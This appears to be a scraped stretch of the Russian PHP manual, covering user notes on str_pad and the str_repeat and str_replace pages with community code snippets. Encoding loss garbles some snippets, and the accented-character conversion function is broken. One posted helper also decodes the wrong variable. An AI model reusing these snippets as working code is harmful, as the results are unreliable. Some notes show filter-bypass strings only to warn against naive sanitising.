rtrim("0123000", "0") -> 0123
trim("0012300")     -> 123
gene at swipesy dot com 24-Sep-2011 09:18
This is how I pad using &nbsp; :

str_replace(" ", "&nbsp;&nbsp;", str_pad($foo, 10, " ", STR_PAD_LEFT))

Seems to work well using two &nbsp; tags for each character added, at least for my use. YMMV.
Kari &#34;Haprog&#34; Sderholm 21-Mar-2009 06:43
Here's a quick and simple way to make an mb_str_pad function that works when you have correctly set your internal encoding.

I'm not sure how well this works in all possible scenarios but atleast it worked for me using UTF-8 as internal encoding and using this function on strings containing scandinavian characters "aaoAAO" that are double byte in UTF-8.

<?php
function mb_str_pad($input, $pad_length, $pad_string=' ', $pad_type=STR_PAD_RIGHT) {
    $diff = strlen($input) - mb_strlen($input);
    return str_pad($input, $pad_length+$diff, $pad_string, $pad_type);
}
?>
matrebatre 16-Oct-2008 11:28
Here is a simple function to convert numbers into strings like this:

0 => 0000
1 => 0001
20 => 0020
432 => 0432

<?php

function number_pad($number,$n) {
return str_pad((int) $number,$n,"0",STR_PAD_LEFT);
}

?>

$n indicates how many characters you want.
bxi at apparoat dot nl 20-Mar-2008 06:17
In case you want to pad 2 strings together with a character you can use:

<?php
function pad_between_strings($string1, $string2, $length, $char = " ") {
    $fill_length = $length - ( strlen($string1) + strlen($string2) );
    return $string1 . str_repeat($char, $fill_length) . $string2;
}
?>
Spudley 18-Jul-2007 08:47
Warning: If your string includes non-ascii characters (eg the British pounds sign), str_pad() will treat these as two characters when calculating the padding.

So for example:
<?php
str_pad($currency_symbol.$showtottopay,12," ",STR_PAD_LEFT);
?>
will produce a different length string depending on whether $currency_symbol is pounds or dollars.

Hope this helps someone -- it caused me a lot of problems with misaligned columns in my invoices until I worked it out.
christian dot reinecke at web dot de 01-Apr-2007 10:43
Fills the first argument (mostly a number, f.e. from a <select> loop to display a date or time) with zeroes.

<?php
function zerofill($mStretch, $iLength = 2)
{
    $sPrintfString = '%0' . (int)$iLength . 's';
    return sprintf($sPrintfString, $mStretch);
}
?>

sprintf() is indeed faster than str_pad.
Silvio Ginter (silvio dot ginter at gmx dot de) 15-Nov-2005 08:43
Hello,

for anyone who needs this, I wrote this extension to str_pad. For details, just look at the comments.

<?php

$string = 'this is a test';
$oldLen = strlen($string);
$direction = STR_PAD_BOTH;
echo $string.'<br>';
echo str_const_len($string, 101, '#', $direction).'<br>';
echo $string.'<br>';
echo str_const_len($string, $oldLen, '#', $direction).'<br>';
echo $string.'<br><br>'."\n";

/*     This function is an extension to str_pad, it manipulates the referenced
    string '$str' and stretches or reduces it to the specified length. It
    returns the number of characters, that were added or stripped. */
function str_const_len(&$str, $len, $char = ' ', $str_pad_const = STR_PAD_RIGHT) {
    $origLen = strlen($str);
    if (strlen($str) < $len) {     /* stretch string */
        $str = str_pad($str, $len, $char, $str_pad_const);
    }
    else {                         /* reduce string */
        switch ($str_pad_const) {
            case STR_PAD_LEFT:
                $str = substr($str, (strlen($str) - $len), $len);
                break;
            case STR_PAD_BOTH:
                $shorten = (int) ((strlen($str) - $len) / 2);
                $str = substr($str, $shorten, $len);
                break;
            default:
                $str = substr($str, 0, $len);
                break;
        }
    }
    return ($len - $origLen);
}
?>
private dot email at optusnet dot com dot au 10-Aug-2005 05:04
I wrote these 3 functions that live in a library i include in every programme. I find them useful, and the syntax is easy.

<?php

$str = "test";

function str_pad_right ( $string , $padchar , $int ) {
    $i = strlen ( $string ) + $int;
    $str = str_pad ( $string , $i , $padchar , STR_PAD_RIGHT );
    return $str;
}

function str_pad_left ( $string , $padchar , $int ) {
    $i = strlen ( $string ) + $int;
    $str = str_pad ( $string , $i , $padchar , STR_PAD_LEFT );
    return $str;
}

function str_pad_both ( $string , $padchar , $int ) {
    $i = strlen ( $string ) + ( $int * 2 );
    $str = str_pad ( $string , $i , $padchar , STR_PAD_BOTH );
    return $str;
}

echo str_pad_left ( $str , "-" , 3 ); // Produces: ---test
echo str_pad_right ( $str , "-" , 3 ); // Produces: test---
echo str_pad_both ( $str , "-" , 3 ); // Produces: ---test---
?>

Hope this can help someone!
zubfatal <root at it dot dk> 27-Mar-2005 09:28
<?php
    /**
     * str_pad_html - Pad a string to a certain length with another string.
     * accepts HTML code in param: $strPadString.
     *
     * @name        str_pad_html()
     * @author        Tim Johannessen <root@it.dk>
     * @version        1.0.0
     * @param        string    $strInput    The array to iterate through, all non-numeric values will be skipped.
     * @param        int    $intPadLength    Padding length, must be greater than zero.
     * @param        string    [$strPadString]    String to pad $strInput with (default: &nbsp;)
     * @param        int        [$intPadType]        STR_PAD_LEFT, STR_PAD_RIGHT (default), STR_PAD_BOTH
     * @return        string    Returns the padded string
    **/
    function str_pad_html($strInput = "", $intPadLength, $strPadString = "&nbsp;", $intPadType = STR_PAD_RIGHT) {
        if (strlen(trim(strip_tags($strInput))) < intval($intPadLength)) {

            switch ($intPadType) {
                 // STR_PAD_LEFT
                case 0:
                    $offsetLeft = intval($intPadLength - strlen(trim(strip_tags($strInput))));
                    $offsetRight = 0;
                    break;

                // STR_PAD_RIGHT
                case 1:
                    $offsetLeft = 0;
                    $offsetRight = intval($intPadLength - strlen(trim(strip_tags($strInput))));
                    break;

                // STR_PAD_BOTH
                case 2:
                    $offsetLeft = intval(($intPadLength - strlen(trim(strip_tags($strInput)))) / 2);
                    $offsetRight = round(($intPadLength - strlen(trim(strip_tags($strInput)))) / 2, 0);
                    break;

                // STR_PAD_RIGHT
                default:
                    $offsetLeft = 0;
                    $offsetRight = intval($intPadLength - strlen(trim(strip_tags($strInput))));
                    break;
            }

            $strPadded = str_repeat($strPadString, $offsetLeft) . $strInput . str_repeat($strPadString, $offsetRight);
            unset($strInput, $offsetLeft, $offsetRight);

            return $strPadded;
        }

        else {
            return $strInput;
        }
    }

?>
bob [at] bobarmadillo [dot] com 03-Dec-2002 09:22
In a lot of cases you're better off using str_repeat if you want to use something like   - it repeats the entire string.

Using str_repeat, I wrote a full string pad function that should closely mimic str_pad in every other way:

<?php
function full_str_pad($input, $pad_length, $pad_string = '', $pad_type = 0) {
 $str = '';
 $length = $pad_length - strlen($input);
 if ($length > 0) { // str_repeat doesn't like negatives
  if ($pad_type == STR_PAD_RIGHT) { // STR_PAD_RIGHT == 1
   $str = $input.str_repeat($pad_string, $length);
  } elseif ($pad_type == STR_PAD_BOTH) { // STR_PAD_BOTH == 2
   $str = str_repeat($pad_string, floor($length/2));
   $str .= $input;
   $str .= str_repeat($pad_string, ceil($length/2));
  } else { // defaults to STR_PAD_LEFT == 0
   $str = str_repeat($pad_string, $length).$input;
  }
 } else { // if $length is negative or zero we don't need to do anything
  $str = $input;
 }
 return $str;
}

$pad_me = "Test String";
echo '|'.full_str_pad($pad_me, 20, ' ')."|\n";
echo '|'.full_str_pad($pad_me, 20, ' ', STR_PAD_RIGHT)."|\n";
echo '|'.full_str_pad($pad_me, 20, ' ', STR_PAD_BOTH)."|\n";
?>
Fahad dot Gilani at anu dot edu dot au 02-Dec-2002 02:22
Basically, *all* of you guys have a 'long' way of padding text with html tags (which includes &nbsp;) You dont even have to do a str_replace... try the following code and this will work with ANY html tag there is out there and you don't have to worry about tag character lengths so on and so forth:
<?
  $text = "This is pretty interesting!";
  $pad_string = "&nbsp;";

  //Pad text on both sides
  $text = str_pad($text, strlen($text)+(20*strlen($pad_string)), $pad_string, STR_PAD_BOTH);
  print $text." Dont you think?";
?>
Will produce:
          This is pretty interesting!           Dont you think?

Cheers,
Fahad
mreilly at NOSPAM dot mac dot com 20-Aug-2002 11:23
When provided with a string of characters as the pad value, str_pad uses all the characters as fill, and can leave partial strings. (eg. If the pad value is 'ABC' and it needs 5 characters to pad with, it outputs 'ABCAB'.) This is a problem when you want to pad with non-breaking spaces, the code for which is 6 characters long.

This can be resolved by first padding the string with a single character that won't be found in the strings such as * then doing a str_replace of * with &nbsp;.
pestilenc at hotmail dot com 06-Jun-2002 04:26
For me this worked.
$string = 'help';

#First, str_pad() with unique character.
$string = str_pad($string, 10, "*", STR_PAD_BOTH);
#$string = '***help***';

#Second, str_replace with '&nbsp;'
$string = str_replace("*", "&nbsp;", $string);


Возвращает повторяющуюся строку

  • « str_pad
  • str_replace »
  • PHP Manual
  • Функции для работы со строками
  • Возвращает повторяющуюся строку

str_repeat

(PHP 4, PHP 5, PHP 7, PHP 8)

str_repeat — Возвращает повторяющуюся строку

Описание

str_repeat(string $string, int $times): string

Возвращает строку string, повторенную times раз.

Список параметров

string

Повторяемая строка.

times

Количество раз, которые нужно повторить строку string.

times должен быть больше или равен нулю. Если times равен нулю, возвращается пустая строка.

Возвращаемые значения

Возвращает повторяющуюся строку.

Примеры

Пример #1 Пример использования str_repeat()

<?php
echo str_repeat("-=", 10);
?>

Результат выполнения приведённого примера:

-=-=-=-=-=-=-=-=-=-=

Смотрите также

  • for
  • str_pad() - Дополняет строку другой строкой до заданной длины
  • substr_count() - Возвращает число вхождений подстроки

User Contributed Notes

Alexander Ovsiyenko 29-Jun-2018 11:22
http://php.net/manual/en/function.str-repeat.php#90555

Damien Bezborodov , yeah but execution time of your solution is 3-5 times worse than str_replace.

<?php

function spam($number) {
    return str_repeat('test', $number);
}

function spam2($number) {
    return implode('', array_fill(0, $number, 'test'));
}

//echo spam(4);
$before = microtime(true);
for ($i = 0; $i < 100000; $i++) {
    spam(10);
}
echo microtime(true) - $before , "\n"; // 0.010297
$before = microtime(true);
for ($i = 0; $i < 100000; $i++) {
    spam2(10);
}
echo microtime(true) - $before; // 0.032104
Anonymous 23-Oct-2011 04:51
hi guys ,
i've faced this example :
<?php

$my_head = str_repeat("°~", 35);
echo $my_head;

?>

so , the length should be 35x2 = 70 !!!
if we echo it :

<?php
$my_head = str_repeat("°~", 35);
echo strlen($my_head); // 105
echo mb_strlen($my_head, 'UTF-8'); // 70
?>

be carefull with characters and try to use mb_* package to make sure everything goes well ...
Damien Bezborodov 28-Apr-2009 12:45
Here is a simple one liner to repeat a string multiple times with a separator:

<?php
implode($separator, array_fill(0, $multiplier, $input));
?>

Example script:
<?php

// How I like to repeat a string using standard PHP functions
$input = 'bar';
$multiplier = 5;
$separator = ',';
print implode($separator, array_fill(0, $multiplier, $input));
print "\n";

// Say, this comes in handy with count() on an array that we want to use in an
// SQL query such as 'WHERE foo IN (...)'
$args = array('1', '2', '3');
print implode(',', array_fill(0, count($args), '?'));
print "\n";
?>

Example Output:
bar,bar,bar,bar,bar
?,?,?
claude dot pache at gmail dot com 10-Feb-2009 02:25
Here is a shorter version of Kees van Dieren's function below, which is moreover compatible with the syntax of str_repeat:

<?php
function str_repeat_extended($input, $multiplier, $separator='')
{
    return $multiplier==0 ? '' : str_repeat($input.$separator, $multiplier-1).$input;
}
?>
21-Jul-2003 10:45
str_repeat does not repeat symbol with code 0 on some (maybe all?) systems (tested on PHP Version 4.3.2 , FreeBSD 4.8-STABLE i386 ).

Use <pre>
while(strlen($str) < $desired) $str .= chr(0);
</pre> to have string filled with zero-symbols.


Заменяет вхождения строки поиска строкой замены

  • « str_repeat
  • str_rot13 »
  • PHP Manual
  • Функции для работы со строками
  • Заменяет вхождения строки поиска строкой замены

str_replace

(PHP 4, PHP 5, PHP 7, PHP 8)

str_replace — Заменяет вхождения строки поиска строкой замены

Описание

str_replace(
array|string $search,
array|string $replace,
string|array $subject,
int &$count = null
): string|array

Функция возвращает строку или массив, в котором заменила вхождения search в subject значением replace.

Замену текста на основе шаблона, а не фиксированной строки, выполняют функцией preg_replace().

Список параметров

Если параметры search и replace — массивы, функция str_replace() возьмёт значение из каждого массива для поиска и замены во входной строке subject. Если в массиве replace значений меньше, чем в массиве search, функция заменит остальные значения пустой строкой. Функция заменит строкой замены каждое значение массива search, если параметр search — массив, а параметр replace — строка. Обратное не имело бы смысла.

Если параметры search или replace — массивы, функция обработает элементы массивов от первого к последнему.

search

Искомое значение, которое знают также как needle: иголку, которую требуется найти в стоге сена. В параметр передают массив значений, когда требуется найти несколько «иголок» одновременно.

replace

Значение замены, которым функция заменит значения search, которые найдёт. В параметр передают массив значений, когда требуется выполнить несколько замен.

subject

Строка или массив для поиска и замены, которые знают также как haystack: стог сена, в котором требуется найти иголку.

Функция выполнит поиск и замену с каждым элементом массива subject, если параметр subject — массив, и результат тоже будет массивом.

count

Функция установит для этого параметра количество замен, если аргумент передали.

Возвращаемые значения

Функция возвращает строку или массив с заменёнными значениями.

Примеры

Пример #1 Примеры использования функции str_replace()

<?php

// Даёт: <body text='black'>
$bodytag = str_replace("%body%", "black", "<body text='%body%'>");

// Даёт: Hll Wrld f PHP
$vowels = array("a", "e", "i", "o", "u", "A", "E", "I", "O", "U");
$onlyconsonants = str_replace($vowels, "", "Hello World of PHP");

// Даёт: You should eat pizza, beer, and ice cream every day
$phrase = "You should eat fruits, vegetables, and fiber every day.";
$healthy = array("fruits", "vegetables", "fiber");
$yummy = array("pizza", "beer", "ice cream");

$newphrase = str_replace($healthy, $yummy, $phrase);

// Даёт: 2
$str = str_replace("ll", "", "good golly miss molly!", $count);
echo $count;

?>

Пример #2 Примеры неочевидного поведения функции str_replace()

<?php

// Порядок замены
$str = "Строка 1\nСтрока 2\rСтрока 3\r\nСтрока 4\n";
$order = array("\r\n", "\n", "\r");
$replace = '<br />';

// Сначала обработаем последовательности символов \r\n, чтобы значения замены не появились дважды
echo $newstr = str_replace($order, $replace, $str);

// Выводит F, поскольку A заменяется на B, затем B на C и так далее...
// Наконец E заменяется на F, поскольку функция заменяет значения слева направо
$search = array('A', 'B', 'C', 'D', 'E');
$replace = array('B', 'C', 'D', 'E', 'F');
$subject = 'A';
echo str_replace($search, $replace, $subject);

// Выводит: яблорехкорех орех по той же причине
$letters = array('я', 'о');
$fruit = array('яблоко', 'орех');
$text = 'я о';
$output = str_replace($letters, $fruit, $text);
echo $output;

?>

Примечания

Замечание: Эта функция безопасна для обработки данных в двоичной форме.

Предостережение

Замечание о порядке замены

При множественных заменах функция str_replace() заменит значение, которое вставила на предыдущем шаге, очередным значением, поскольку заменяет значения слева направо. Примеры на этой странице показывают порядок замены.

Замечание:

Функция чувствительна к регистру. Замену без учёта регистра выполняет функция str_ireplace().

Смотрите также

  • str_ireplace() - Регистронезависимый вариант функции str_replace
  • substr_replace() - Заменяет часть строки
  • preg_replace() - Выполняет поиск и замену по регулярному выражению
  • strtr() - Преобразовывает заданные символы или заменяет подстроки

User Contributed Notes

ressing1 at gmail dot com 21-Jun-2021 08:34
To remove all characters from string $b that exist in string $a:

$a="ABC";
$b="teAsBtC";
echo str_replace(str_split($a),'',$b);

Output: test

To remove all characters from string $b that don't exist in string $a:

$a="ABC";
$b="teAsBtC";
echo str_replace(str_split(str_replace(str_split($a),'',$b)),'',$b);

Output: ABC
hyperzlib at outlook dot com 04-Jul-2020 12:33
Use str_replace to remove all dashes but one from the string '-aaa----b-c-----d--e---f' (resulting is: '-aaa-b-c-d-e-f')

<?php
$challenge = '-aaa----b-c-----d--e---f';
do $challenge = str_replace('--', '-', $challenge, $count); while($count);
echo $challenge;
?>
iskus1981 at gmail dot com 19-Feb-2020 09:21
bracesChecker($str) {
    while($str) {
        $str = str_replace(['()','[]','{}'], '', $str, $count);
        if (!$str) return true;
        if (!$count && $str) return false;
    }
}
$str = '[}]{(){][}()';
echo bracesChecker($str);
//false
$str = '([]{})[{}[]{[]}([{[]}])';
echo bracesChecker ($str);
//true
ravenswd at gmail dot com 11-Jul-2018 01:33
This is what happens when the search and replace arrays are different sizes:

<?php
$search  = array('a', 'b', 'c', 'd', 'e');
$replace = array('A', 'B', 'C');
$subject = 'abcdefg';
echo str_replace($search, $replace, $subject);
// result: 'ABCfg'

$search  = array('a', 'b', 'c');
$replace = array('A', 'B', 'C', 'D', 'E');
$subject = 'abcdefg';
echo str_replace($search, $replace, $subject);
// result: 'ABCdefg'
?>

No warning or error is generated in either of these cases.
ASchmidt at Anamera dot net 20-May-2018 04:22
Escaping strings with control characters, quotes and backslashes for subsequent use in MySQL commands.

MySQL has documented a number of backslash escape sequences that need to be used to pass certain values in SQL commands: https://dev.mysql.com/doc/refman/5.7/en/string-literals.html

It's crucial to escape existing backslashes first to prevent double-escaping, before escaping the various control sequences:

<?php
$result = str_replace(
                array( '\\',    "\0",   "'",    "\x8" /* BS */, "\n",   "\r",   "\t",   "\x1A" /* Ctrl+Z */ ),
                array( '\\\\',  '\\0',  '\\\'', '\\b',          '\\n',  '\\r',  '\\t',  '\\Z' ),
                $value );
?>

This code is NOT intended to protect against SQL insertions, it's intended to PRESERVE string content correctly, if it contains control characters.
jefrey at forteras dot tech 02-Mar-2018 02:54
NEVER USE this function to protect against SQL Injection.

It may sound ridiculous but I've seen a couple of developers doing so.

It's interesting that these developers use str_replace (let's ignore the fact that they don't even use the str_ireplace which is case-insensitive) to remove common SQL commands such as "SELECT" or "DROP" from user-entered inputs.

A funny thing to note is that:

<?php
$input = "SELSELECTECT";
echo str_replace("SELECT", null, $input); // = SELECT
?>

Yeah you could loop it, but str_replace was never meant to be used this way. There are proper ways to protect against SQL Injections, such as using prepared statements (placeholders).
Oyedele Hammed Horlah - itz dot harmid at gmail dot com 08-Oct-2017 08:05
this is a simple function to replace all newlines to <br> tags.

\r\n - windows line break
\n - linux line break
\r - mac line break

<?php
function nl_to_br($str) {
return str_replace(array("\r\n","\n","\r"), "<br/>", $str);
}
echo nl_to_br('Hello world\n I am Oyedele Hammed Horlah'); // => Hello World <br> I am Oyedele Hammed Horlah
?>

Enjoy
vuabid at hotmail dot com 06-Sep-2017 08:44
Consider this while using str_replace function when $search and $replace are arrays.

$search = array( 'login_reactivate', 'login_reactivate_date' );
$replace = array( 'login reactivate status', 'login reactivate date' );
$subject = "fname, email, login_reactivate, login_reactivate_date";

$returnValue = str_replace( $search, $replace, $subject );

$returnValue will be:
fname, email, login reactivate status, login reactivate status_date

You can see we are expecting "login_reactivate_date" to be replaced with "login reactivate date" but it will replace to "login reactivate status_date"
flame2000 at mail dot ru 21-Sep-2016 07:17
Replace chars in multi-byte string.
In example, replacing 'f'=>'b', 'o'=>'e', 't'=>'r' and etc.

<?php
function mb_chars_replace($from, $to, $subj, $delSymb='_') {
     $nsubj='';
     preg_match_all('/(.)/u', $subj, $subj);$subj=$subj[1];
     if (!is_array($from)) {preg_match_all('/(.)/u', $from, $from);$from=$from[1];}
     if (!is_array($to)) {preg_match_all('/(.)/u', $to, $to);$to=$to[1];}
     if (count($from)!==count($to)) return false;

     foreach($subj as $s) {
       foreach($from as $k=>$f) {
         if($s===$f) {
                    $s=$to[$k];
                    break;
         }
       }
       if($s!==$delSymb) $nsubj.=$s;
     }
    return $nsubj;
}

//examples:

$from="fotber, ";
$to="berfot+_";

// or

$from=array("f","o","t","b","e","r",","," ");
$to=array("b","e","r","f","o","t","+","_");

//out:
echo mb_chars_replace($from,$to,"foot, beer"); //beer+foot
?>
viundan at gmail dot com 26-Aug-2016 04:08
Decision to avoid problem "it might replace a previously inserted value when doing multiple replacements. See also the examples in this document."

$urls - array of urls i want to replace with tag <a> and urls could be similar
http://abc.com/parameter/
http://abc.com/

// at first sort by length to have longest firstly
usort($urls,'sortByLen');

$replaces=[];

// replace all urls with unique
foreach($urls as $url){
    $replace = '__REPLACE' . uniqid() . '__';
    $text = str_replace($url,$replace, $text);
    $replaces[$replace] = '<a href="' . $url . '">' . $url . '</a>';
}

foreach($replaces as $key => $replace){
    $text = str_replace($key,$replace, $text);
}

--------------

function sortByLen($a,$b){
    return strlen($b)-strlen($a);
}

Hope it will help others like me
Mohsin Ali (puregenius02 at gmail dot com) 06-May-2016 10:28
$myString = "It was the best of mine it was the worst of mine,";
// Displays "It was the best of bananas, it was the worst of bananas,"
echo str_replace( "mine", "bananas", $myString );
If you want to know how many times the search string was replaced, pass in a variable as an optional
fourth argument. After the function runs, this variable holds the number of replacements:
$myString = "It was the best of mine, it was the worst of mine,";
// Displays "It was the best of bananas, it was the worst of bananas,"
echo str_replace( "mine", "bananas", $myString, $num ) . " < br/ > ";
// Displays "The text was replaced 2 times."
echo "The text was replaced $num times. < br/ > ";
David Holt 05-Feb-2016 02:59
Be aware that if you use this for filtering & sanitizing some form of user input, or remove ALL instances of a string, there's another gotcha to watch out for:

// Remove all double characters
$string="1001011010";
$string=str_replace(array("11","00"),"",$string);
// Output: "110010"

$string="<ht<html>ml> Malicious code </<html>html> etc";
$string=str_replace(array("<html>","</html>"),"",$string);
// Output: "<html> Malicious code </html> etc"
mrrehbein at gmail dot com 03-Apr-2015 01:25
nikolaz dot tang at hotmail dot com's solution of using json_encode/decode is interesting, but a couple of issues to be aware of with it.

<?php
// From: nikolaz dot tang at hotmail dot com's post
function str_replace_json($search, $replace, $subject){
     return json_decode(str_replace($search, $replace,  json_encode($subject)));
}
?>

json_decode will return objects, where arrays are probably expected.  This is easily remedied by adding 2nd parameter 'true' to json_decode.

$search and $replace could contain strings that match json encoding, which will either change the structure returned by this method, or break the json.

ie:
<?php
var_dump(str_replace_json('":"', '","', ['this' => 'stuff']));
var_dump(str_replace_json('this":"', 'this" : "thing", "with":"', ['this' => 'stuff']));
?>
borasahin at gmail dot com 02-Mar-2015 08:59
jSON Turkish Characters Problem - (PHP < 5.4 for example)

<?php
function json_decode_tr($json){
       $json_char = array("u00e7","u0131","u00fc","u011f","u00f6","u015f","u0130","u011e","u00dc","u00d6","u015e","u00c7");
       $turkish = array("c","?","u","g","o","s","I","G","U","O","S","C");
       $result = str_replace($json_char, $turkish, $json);
       return json_decode($json);
    }
?>
karst at onlinq dot nl 17-Oct-2014 01:57
"If search is an array and replace is a string, then this replacement string is used for every value of search. The converse would not make sense, though. "

I think one important (and not at all vaguely theoretical) use-case is completely ignored here. Take, for example, the way the PDO handles parameter replacement.

If we have the following query:
"SELECT * FROM my_table WHERE (id = ? AND my_column = ? AND other_column = ?);"
The "?"s should be replaced by each successive variable in a $parameters array. That is EXACTLY the use case for "search" being a value and "replace" being an array.

Considering that this is not only a real-world example but also part of a core PHP functionality I find it very strange that it's dismissed so easily here.
Ing. Mirko Plazotta 04-Sep-2014 09:27
<?php
// a very beatiful way to do multiple replacements is this one, using just one array
$replaceThis = Array(
'old word' => 'new word',
'was' => 'it',
'past' => 'future',
);

$originalText = "every old word was a thing of the past...";
$replacedText = str_replace(array_keys($replaceThis), $replaceThis, $originalText);
echo $replacedText;
?>
markem at sim1 dot us 27-Aug-2014 08:04
I was working with MySQL and displaying the title to things on the web page.  I'd written a script to ensure single and double quotes were removed from the title.  I used

    $title = str_replace( "'", "", $title );

and

     $title = str_replace( '"', "", $title );

But still the single and double quotes continued.  So I wrote a bit of code to print out each character separated by a dash.  Like so:

     for( $i=0; $i<strlen($title); $i++ ){
         echo "$i-";
         }

     echo "<br>\n";

This displayed:

     m-y-c-o-m-p-a-n-y- b-b-&-#-3-9-;-s

Which made me go "Oh!  I get it."

The MySQL function real_escape_string modifies the single quotes to be &#39; and double quotes as &#34;  These still show up as single and double quotes under HTML and most importantly -

     JAVASCRIPT sees the &#34; and &#39; as actual single or double
     quotes.  So if you are passing arguments to a function you have
     to get rid of them or else you will get an error on trying to call
     a given function.  Example:

     <a href="javascript:func1('mycompany bbs&#39;s")'">

     becomes

     <a href="javascript:func1('mycompany bbs's');">

Which then will give you an error because there is a single quote inside of the single quoted string.  HOWEVER, the

     $title = str_replace( "'", "", $title );

WILL NOT FIND a single quote.  Instead, you have to do this:

     $title = str_replace( "&#39;", "'", $title );
and
     $title = str_relace( "&#34;", '"', $title );

(Or you could just get rid of them.)

So remember!  If you are trying to remove single and double quotes and are using MySQL and MySQL's real_escape_string() function that you might be having single and double quotes hanging around which are defined as &#39; and &#34; but which show up as single and double quotes as well as causing problems in your Javascripts.
Anonymous 19-Jul-2013 10:01
@moostende at gmail dot com
If you want to remove all dashes but one from the string '-aaa----b-c-----d--e---f' resulting in '-aaa-b-c-d-e-f', you CAN use str_replace !

<?php
function foo($str)
{
    do {
        $str = str_replace("--", "-", $str, $count);
    } while ($count > 0);
    return $str;
}
echo foo("-aaa----b-c-----d--e---f");
?>

This outputs the following:
-aaa-b-c-d-e-f
kriscraig at php dot net 20-Jul-2012 11:03
<?php

/**
 * Convert foreign 8859-1 characters into HTML entities.
 *
 * @param string $str
 *   The string being parsed.
 *
 * @return string
 *   The converted string.
 */
public static function convert_chars_to_entities( $str )
{
    $str = str_replace( 'A', '&#192;', $str );
    $str = str_replace( 'A', '&#193;', $str );
    $str = str_replace( 'A', '&#194;', $str );
    $str = str_replace( 'A', '&#195;', $str );
    $str = str_replace( 'A', '&#196;', $str );
    $str = str_replace( 'A', '&#197;', $str );
    $str = str_replace( '?', '&#198;', $str );
    $str = str_replace( 'C', '&#199;', $str );
    $str = str_replace( 'E', '&#200;', $str );
    $str = str_replace( 'E', '&#201;', $str );
    $str = str_replace( 'E', '&#202;', $str );
    $str = str_replace( 'E', '&#203;', $str );
    $str = str_replace( 'I', '&#204;', $str );
    $str = str_replace( 'I', '&#205;', $str );
    $str = str_replace( 'I', '&#206;', $str );
    $str = str_replace( 'I', '&#207;', $str );
    $str = str_replace( '?', '&#208;', $str );
    $str = str_replace( 'N', '&#209;', $str );
    $str = str_replace( 'O', '&#210;', $str );
    $str = str_replace( 'O', '&#211;', $str );
    $str = str_replace( 'O', '&#212;', $str );
    $str = str_replace( 'O', '&#213;', $str );
    $str = str_replace( 'O', '&#214;', $str );
    $str = str_replace( '?', '&#215;', $str );  // Yeah, I know.  But otherwise the gap is confusing.  --Kris
    $str = str_replace( 'O', '&#216;', $str );
    $str = str_replace( 'U', '&#217;', $str );
    $str = str_replace( 'U', '&#218;', $str );
    $str = str_replace( 'U', '&#219;', $str );
    $str = str_replace( 'U', '&#220;', $str );
    $str = str_replace( 'Y', '&#221;', $str );
    $str = str_replace( '?', '&#222;', $str );
    $str = str_replace( '?', '&#223;', $str );
    $str = str_replace( 'a', '&#224;', $str );
    $str = str_replace( 'a', '&#225;', $str );
    $str = str_replace( 'a', '&#226;', $str );
    $str = str_replace( 'a', '&#227;', $str );
    $str = str_replace( 'a', '&#228;', $str );
    $str = str_replace( 'a', '&#229;', $str );
    $str = str_replace( '?', '&#230;', $str );
    $str = str_replace( 'c', '&#231;', $str );
    $str = str_replace( 'e', '&#232;', $str );
    $str = str_replace( 'e', '&#233;', $str );
    $str = str_replace( 'e', '&#234;', $str );
    $str = str_replace( 'e', '&#235;', $str );
    $str = str_replace( 'i', '&#236;', $str );
    $str = str_replace( 'i', '&#237;', $str );
    $str = str_replace( 'i', '&#238;', $str );
    $str = str_replace( 'i', '&#239;', $str );
    $str = str_replace( '?', '&#240;', $str );
    $str = str_replace( 'n', '&#241;', $str );
    $str = str_replace( 'o', '&#242;', $str );
    $str = str_replace( 'o', '&#243;', $str );
    $str = str_replace( 'o', '&#244;', $str );
    $str = str_replace( 'o', '&#245;', $str );
    $str = str_replace( 'o', '&#246;', $str );
    $str = str_replace( '?', '&#247;', $str );  // Yeah, I know.  But otherwise the gap is confusing.  --Kris
    $str = str_replace( 'o', '&#248;', $str );
    $str = str_replace( 'u', '&#249;', $str );
    $str = str_replace( 'u', '&#250;', $str );
    $str = str_replace( 'u', '&#251;', $str );
    $str = str_replace( 'u', '&#252;', $str );
    $str = str_replace( 'y', '&#253;', $str );
    $str = str_replace( '?', '&#254;', $str );
    $str = str_replace( 'y', '&#255;', $str );

    return $str;
}
?>
christof dot rieger at r-tron dot de 25-Apr-2012 08:41
In many countries the numeric format is 1.000,33 in english it is 1,000.33

This function converts numeric arguments always into the PHP confirm numeric format. If only one seperator is into the numericstring so it is interpreted as the decimalpoint.

 function dp($zahl)
{
  if ((strpos($zahl,".") > "-1") | (strpos($zahl,",") > "-1")) {
    if ((strpos($zahl,".") > "-1") & (strpos($zahl,",") > "-1")) {
      if (strpos($zahl,".") > strpos($zahl,",")){
          return str_replace(",","",$zahl);
    } else {
          return str_replace(",",".",str_replace(".","",$zahl));
      }
  } else {
      if (strpos($zahl,".") > "-1") {
        if (strpos($zahl,".") == strrpos($zahl,".")) {
            return $zahl;
      } else {
          return str_replace(".","",$zahl);
        }
    } else {
        if (strpos($zahl,",") == strrpos($zahl,",")) {
          return str_replace(",",".",$zahl);
      } else {
          return str_replace(",","",$zahl);
        }
    } }
} else {
    return $zahl;
} }
Denzel Morris 06-Apr-2012 02:43
Maybe obvious to veteran PHP programmers but less so to novice PHP programmers is the fact that this is invalid:
<?php
str_replace($search, $replace, $subject, 1);
?>
At a glance it appears to be a reasonable request, until you realize that the fourth parameter must be a variable in order to be passed as a reference. A replacement:
<?php
str_replace($search, $replace, $subject, $temp = 1);
// or
$temp = 1;
str_replace($search, $replace, $subject, $temp);
?>
cc at cc dot com 31-Mar-2012 05:26
I found a pretty low tech solution to avoid the "gotcha" without worrying about the array order of how things are replaced. I could not "order" the replacement array easily because it was being read from a database table.

Anyway if you add an identifiable token to each replaced word, then just filter this out at the very end, no nested search terms are found. I just dynamically add the %% after the first char of each word before pumping it into the str_ireplace function.

$find = array("as1", "as2", "as3", "flex");
$replace = array("<a href = \"#as1\">A%%uto S%%entry R%%ev. A%%</a>", "<a href = \"#as2\">A%%uto S%%entry E%%xp</a>", "<a href = \"#as3\">A%%uto S%%entry f%%lex</a>", "<a style = \"color: red;\" href = \"#flex\">f%%lex</a>");
$text = str_ireplace($find, $replace, $text);
echo str_ireplace("%%", "", $text);

In this case I am using %% as my token as this is an unlikely char combo for me.
moostende at gmail dot com 26-Sep-2011 11:20
Note that this does not replace strings that become part of replacement strings. This may be a problem when you want to remove multiple instances of the same repetative pattern, several times in a row.

If you want to remove all dashes but one from the string '-aaa----b-c-----d--e---f' resulting in '-aaa-b-c-d-e-f', you cannot use str_replace. Instead, use preg_replace:

<?php
$challenge = '-aaa----b-c-----d--e---f';
echo str_replace('--', '-', $challenge).'<br>';
